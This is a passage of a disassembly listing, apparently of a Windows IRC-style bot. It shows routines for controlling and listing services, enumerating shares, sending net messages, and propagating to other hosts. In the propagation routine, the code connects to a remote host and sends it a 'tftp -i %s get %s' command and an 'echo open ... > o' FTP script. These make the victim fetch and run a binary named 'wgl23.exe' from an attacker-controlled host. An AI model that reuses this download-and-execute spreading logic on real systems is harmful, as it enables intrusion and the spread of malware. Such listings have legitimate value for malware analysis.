loc_419317:				; CODE XREF: sub_4192B6+94j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h
		jmp	short loc_419376
; ---------------------------------------------------------------------------

loc_41933E:				; CODE XREF: sub_4192B6+57j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_450DAC
		jmp	short loc_419317
; ---------------------------------------------------------------------------

loc_41934C:				; CODE XREF: sub_4192B6+3Fj
		lea	eax, [ebp+Dest]
		push	offset asc_450DD4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 1Ch

loc_419376:				; CODE XREF: sub_4192B6+86j
		pop	edi
		leave
		retn
sub_4192B6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	dword_4E4260	; inet_addr
		push	dword ptr [ebp+0C4h]
		mov	[ebp-0Ch], eax
		call	dword_4E4220	; htons
		push	edi
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_4E42A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+0C4h], esi
		jz	loc_41947C
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_4E41C8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41947C
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	esi
		call	dword_4E4238	; recv
		mov	esi, offset Str	; "wgl23.exe"
		push	esi
		push	esi
		push	dword ptr [ebp+8]
		call	sub_40AFA9
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	__snprintf
		movzx	eax, word ptr dword_4E3F28
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AFA9
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp-1A0h]
		push	0
		push	eax
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-1A0h]
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419480

loc_41947C:				; CODE XREF: .text:004193CFj
					; .text:004193E5j
		xor	al, al
		jmp	short loc_4194A4
; ---------------------------------------------------------------------------

loc_419480:				; CODE XREF: .text:0041947Aj
		push	0
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4E4238	; recv
		push	dword ptr [ebp+0C4h]
		call	dword_4E42B8	; closesocket
		mov	al, 1

loc_4194A4:				; CODE XREF: .text:0041947Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4194A9(char *Source,int,int)

sub_4194A9	proc near		; CODE XREF: sub_401CC7+574Cp

Dest		= word ptr -1C0h
var_15C		= byte ptr -15Ch
Str		= word ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	ds:dword_4F63D0	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_4194FF
		cmp	[ebp+var_8C], 0
		jnz	short loc_4194E8
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4194FF
		leave
		retn
; ---------------------------------------------------------------------------

loc_4194E8:				; CODE XREF: sub_4194A9+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4194FA
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4194FF

loc_4194FA:				; CODE XREF: sub_4194A9+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4194FF:				; CODE XREF: sub_4194A9+27j
					; sub_4194A9+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll_0 ; "netapi32.dll"
		call	ds:dword_4F63C0	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebu_0 ; "NetMessageBufferSend"
		push	esi
		call	ds:dword_4F63C4	; GetProcAddress
		push	32h		; MaxCount
		mov	edi, eax
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_mbstowcs
		push	32h		; MaxCount
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]	; Source
		push	eax		; Dest
		call	_mbstowcs
		push	32h		; MaxCount
		lea	eax, [ebp+Str]
		push	[ebp+arg_8]	; Source
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_wcslen
		shl	eax, 1
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	ds:dword_4F6440	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4194A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419589	proc near		; CODE XREF: sub_401317+F7p
					; sub_40F181+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_43D4D8
		call	__ftol
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419589	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195C6	proc near		; CODE XREF: sub_401CC7+463Ep
					; sub_401CC7+4692p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41961E
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_450EA8[esi]
		push	edi
		push	eax
		call	sub_419640
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41960E
		push	edi
		push	off_450EA4[esi]
		push	offset asc_450F68 ; "-"

loc_4195FE:				; CODE XREF: sub_4195C6+56j
		mov	esi, offset byte_4F4384
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_41963B
; ---------------------------------------------------------------------------

loc_41960E:				; CODE XREF: sub_4195C6+2Aj
		push	eax
		call	sub_4196E2
		pop	ecx
		push	eax
		push	edi
		push	offset unk_450F84
		jmp	short loc_4195FE
; ---------------------------------------------------------------------------

loc_41961E:				; CODE XREF: sub_4195C6+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset byte_4F4384
		push	off_450EA0[eax*4]
		push	offset asc_450FB0 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_41963B:				; CODE XREF: sub_4195C6+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4195C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419640	proc near		; CODE XREF: sub_4195C6+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4E4214	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_419667
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4196DC
; ---------------------------------------------------------------------------

loc_419667:				; CODE XREF: sub_419640+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4E40FC	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_419687
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4196D4
; ---------------------------------------------------------------------------

loc_419687:				; CODE XREF: sub_419640+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4196BA
		cmp	eax, 3
		jz	short loc_4196AB
		jle	short loc_4196CD
		cmp	eax, 6
		jg	short loc_4196CD
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4E4168	; ControlService
		jmp	short loc_4196C1
; ---------------------------------------------------------------------------

loc_4196AB:				; CODE XREF: sub_419640+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4E4104	; StartServiceA
		jmp	short loc_4196C1
; ---------------------------------------------------------------------------

loc_4196BA:				; CODE XREF: sub_419640+4Dj
		push	esi
		call	dword_4E416C	; DeleteService

loc_4196C1:				; CODE XREF: sub_419640+69j
					; sub_419640+78j
		test	eax, eax
		jnz	short loc_4196CD
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	ebx, eax

loc_4196CD:				; CODE XREF: sub_419640+54j
					; sub_419640+59j ...
		push	esi
		call	dword_4E4118	; CloseServiceHandle

loc_4196D4:				; CODE XREF: sub_419640+45j
		push	edi
		call	dword_4E4118	; CloseServiceHandle
		pop	esi

loc_4196DC:				; CODE XREF: sub_419640+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_419640	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196E2	proc near		; CODE XREF: sub_4195C6+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_419797
		jz	loc_419790
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_41975A
		jz	short loc_419750
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_419746
		dec	ecx
		dec	ecx
		jz	short loc_41973C
		dec	ecx
		jz	short loc_419732
		sub	ecx, 51h
		jz	short loc_419728
		sub	ecx, 24h
		jnz	loc_41980D	; default
					; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4197FF
; ---------------------------------------------------------------------------

loc_419728:				; CODE XREF: sub_4196E2+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4197FF
; ---------------------------------------------------------------------------

loc_419732:				; CODE XREF: sub_4196E2+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4197FF
; ---------------------------------------------------------------------------

loc_41973C:				; CODE XREF: sub_4196E2+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4197FF
; ---------------------------------------------------------------------------

loc_419746:				; CODE XREF: sub_4196E2+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4197FF
; ---------------------------------------------------------------------------

loc_419750:				; CODE XREF: sub_4196E2+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4197FF
; ---------------------------------------------------------------------------

loc_41975A:				; CODE XREF: sub_4196E2+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_419789
		dec	ecx
		jz	short loc_419782
		dec	ecx
		jz	short loc_41977B
		dec	ecx
		jnz	loc_41980D	; default
					; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4197FF
; ---------------------------------------------------------------------------

loc_41977B:				; CODE XREF: sub_4196E2+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_419782:				; CODE XREF: sub_4196E2+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_419789:				; CODE XREF: sub_4196E2+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_419790:				; CODE XREF: sub_4196E2+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_419797:				; CODE XREF: sub_4196E2+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_41980D ; default
					; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4197FA
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_41980D ; default
					; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_41984E[ecx]
		jmp	ds:off_419826[ecx*4] ; switch jump

loc_4197BB:				; DATA XREF: .text:off_419826o
		push	offset aTheSpecifiedDa ; jumptable 004197B4 case 7
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_4197C2:				; CODE XREF: sub_4196E2+D2j
					; DATA XREF: .text:off_419826o
		push	offset aTheServiceDepe ; jumptable 004197B4 case 17
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_4197C9:				; CODE XREF: sub_4196E2+D2j
					; DATA XREF: .text:off_419826o
		push	offset aTheServiceDe_0 ; jumptable 004197B4 case 10
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_4197D0:				; CODE XREF: sub_4196E2+D2j
					; DATA XREF: .text:off_419826o
		push	offset aTheServiceHasB ; jumptable 004197B4 case 0
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_4197D7:				; CODE XREF: sub_4196E2+D2j
					; DATA XREF: .text:off_419826o
		push	offset aTheSpecified_0 ; jumptable 004197B4 case 2
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_4197DE:				; CODE XREF: sub_4196E2+D2j
					; DATA XREF: .text:off_419826o
		push	offset aTheServiceCoul ; jumptable 004197B4 case 11
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_4197E5:				; CODE XREF: sub_4196E2+D2j
					; DATA XREF: .text:off_419826o
		push	offset aTheServiceHa_0 ; jumptable 004197B4 case 14
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_4197EC:				; CODE XREF: sub_4196E2+D2j
					; DATA XREF: .text:off_419826o
		push	offset aTheRequested_1 ; jumptable 004197B4 case 3
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_4197F3:				; CODE XREF: sub_4196E2+D2j
					; DATA XREF: .text:off_419826o
		push	offset aTheServiceHasN ; jumptable 004197B4 case 4
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------

loc_4197FA:				; CODE XREF: sub_4196E2+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4197FF:				; CODE XREF: sub_4196E2+41j
					; sub_4196E2+4Bj ...
		push	offset byte_4F3CC4 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_419820
; ---------------------------------------------------------------------------

loc_41980D:				; CODE XREF: sub_4196E2+36j
					; sub_4196E2+89j ...
		push	eax		; default
					; jumptable 004197B4 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset byte_4F3CC4 ; Dest
		call	_sprintf
		add	esp, 0Ch

loc_419820:				; CODE XREF: sub_4196E2+129j
		mov	eax, offset byte_4F3CC4
		retn
sub_4196E2	endp

; ---------------------------------------------------------------------------
off_419826	dd offset loc_4197D0	; DATA XREF: sub_4196E2+D2r
		dd offset loc_4197D7	; jump table for switch	statement
		dd offset loc_4197EC
		dd offset loc_4197F3
		dd offset loc_4197BB
		dd offset loc_4197C9
		dd offset loc_4197DE
		dd offset loc_4197E5
		dd offset loc_4197C2
		dd offset loc_41980D
byte_41984E	db	0,     9,     1,     2 ; DATA XREF: sub_4196E2+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419860(int,char *Str,int)

sub_419860	proc near		; CODE XREF: sub_401CC7+465Cp

var_38C		= dword	ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4E4214	; OpenSCManagerA
		push	ebx		; int
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]	; int
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_419898:				; CODE XREF: sub_419860+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4E41E0	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_4198D2
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_419986

loc_4198D2:				; CODE XREF: sub_419860+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_41997D
		lea	esi, [ebp+var_188]

loc_4198E3:				; CODE XREF: sub_419860+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_41992C
		dec	eax
		jz	short loc_419925
		dec	eax
		jz	short loc_41991E
		dec	eax
		jz	short loc_419917
		dec	eax
		jz	short loc_419910
		dec	eax
		jz	short loc_419909
		dec	eax
		jz	short loc_419902
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_419931
; ---------------------------------------------------------------------------

loc_419902:				; CODE XREF: sub_419860+99j
		push	offset aPaused	; "	Paused"
		jmp	short loc_419931
; ---------------------------------------------------------------------------

loc_419909:				; CODE XREF: sub_419860+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_419931
; ---------------------------------------------------------------------------

loc_419910:				; CODE XREF: sub_419860+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_419931
; ---------------------------------------------------------------------------

loc_419917:				; CODE XREF: sub_419860+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_419931
; ---------------------------------------------------------------------------

loc_41991E:				; CODE XREF: sub_419860+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_419931
; ---------------------------------------------------------------------------

loc_419925:				; CODE XREF: sub_419860+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_419931
; ---------------------------------------------------------------------------

loc_41992C:				; CODE XREF: sub_419860+87j
		push	offset aStopped	; "    Stopped"

loc_419931:				; CODE XREF: sub_419860+A0j
					; sub_419860+A7j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+Dest]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_2	; "%s: %s (%s)"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4198E3

loc_41997D:				; CODE XREF: sub_419860+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_419898

loc_419986:				; CODE XREF: sub_419860+6Cj
		push	[ebp+var_C]
		call	dword_4E4118	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_419860	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41999D(int,char *Str,int)

sub_41999D	proc near		; CODE XREF: sub_401CC7+4740p
					; sub_401CC7+475Ep

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Str]
		test	edi, edi
		jz	loc_419A37
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4199C6
		dec	eax
		jnz	short loc_419A17
		push	edi
		push	0
		call	sub_419B70
		pop	ecx
		pop	ecx
		jmp	short loc_419A13
; ---------------------------------------------------------------------------

loc_4199C6:				; CODE XREF: sub_41999D+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_419A05
		push	24h		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_419A05
		push	57h
		pop	eax

loc_4199DD:				; CODE XREF: sub_41999D+78j
		push	eax
		call	sub_41A364
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_4F3F80
		push	off_450EA0[eax*4]
		push	offset asc_451528 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_419A57
; ---------------------------------------------------------------------------

loc_419A05:				; CODE XREF: sub_41999D+2Dj
					; sub_41999D+3Bj
		push	[ebp+arg_8]	; int
		push	edi		; Str
		push	0		; int
		call	sub_419AC4
		add	esp, 0Ch

loc_419A13:				; CODE XREF: sub_41999D+27j
		test	eax, eax
		jnz	short loc_4199DD

loc_419A17:				; CODE XREF: sub_41999D+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_4F3F80
		push	off_450EA4[eax*4]
		push	offset asc_45150C ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_419A57
; ---------------------------------------------------------------------------

loc_419A37:				; CODE XREF: sub_41999D+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_4F3F80
		lea	eax, [eax+eax*2]
		push	off_450EA0[eax*4]
		push	offset asc_451554 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_419A57:				; CODE XREF: sub_41999D+66j
					; sub_41999D+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41999D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A5D	proc near		; CODE XREF: sub_41AD95+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_419A6A
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419A6A:				; CODE XREF: sub_419A5D+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_4F6484
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4F4180, 1
		mov	ebp, eax
		jnz	short loc_419AA7
		or	byte_4F4180, 1
		lea	eax, [ebp+1]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	dword_4F3F20, eax

loc_419AA7:				; CODE XREF: sub_419A5D+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4F3F20
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4F3F20
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_419A5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419AC4(int,char *Str,int)

sub_419AC4	proc near		; CODE XREF: sub_41999D+6Ep
					; sub_41B0B9+184p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419B2F
		push	[ebp+Str]
		mov	edi, eax
		call	sub_419B2F
		push	24h		; Val
		mov	[ebp+var_20], eax
		push	[ebp+Str]	; Str
		call	_strchr
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419B2F
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4E4114
		pop	edi
		leave
		retn
sub_419AC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B2F	proc near		; CODE XREF: sub_419AC4+Ap
					; sub_419AC4+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419B3C
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419B3C:				; CODE XREF: sub_419B2F+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_4F6488
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419B2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B70	proc near		; CODE XREF: sub_41999D+20p
					; sub_41AD95+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419B2F
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419B2F
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4E40EC
		pop	esi
		retn
sub_419B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419B93(int,char *Str,int,int)

sub_419B93	proc near		; CODE XREF: sub_401CC7+477Ep

Dest		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419B2F
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi		; int
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]	; int
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 18h

loc_419BCC:				; CODE XREF: sub_419B93+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4E4164
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419C2F
		cmp	ebx, 0EAh
		jz	short loc_419C2F
		push	ebx
		push	ebx
		call	sub_41A364
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4515D0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
